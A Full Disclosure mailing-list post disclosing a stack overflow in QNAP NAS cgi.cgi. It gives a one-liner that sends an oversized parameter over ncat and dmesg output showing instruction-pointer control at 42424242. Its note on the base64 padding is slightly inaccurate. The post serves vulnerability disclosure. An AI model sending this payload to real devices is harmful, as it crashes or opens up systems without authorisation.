Re: 0-day: QNAP NAS Devices suffer of heap overflow

[bashis <mcw () noemail eu>]

And also;

==================
[Stack overflow]
==================

[Remote Host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<1489;i++));do echo -en "QUFB";done``echo -en 
"QUJCQkI="` HTTP/1.0\nHost: BUG\n\n” | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Mon, 02 Jan 2017 11:59:24 GMT
Content-Length: 0
Connection: close
Content-Type: text/plain

[Remote Host]# 

====

[Local Host]# dmesg | grep 42424242
[161034.536318] cgi.cgi[28705]: segfault at 42424242 ip 00000000f6c1159b sp 00000000fffe84fc error 4 in 
libc-2.6.1.so[f6ba5000+12d000]
[Local Host]#

[QUJCQkI=] -> Base64encode -> [BBBB]

Have a nice day
/bashis

 


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/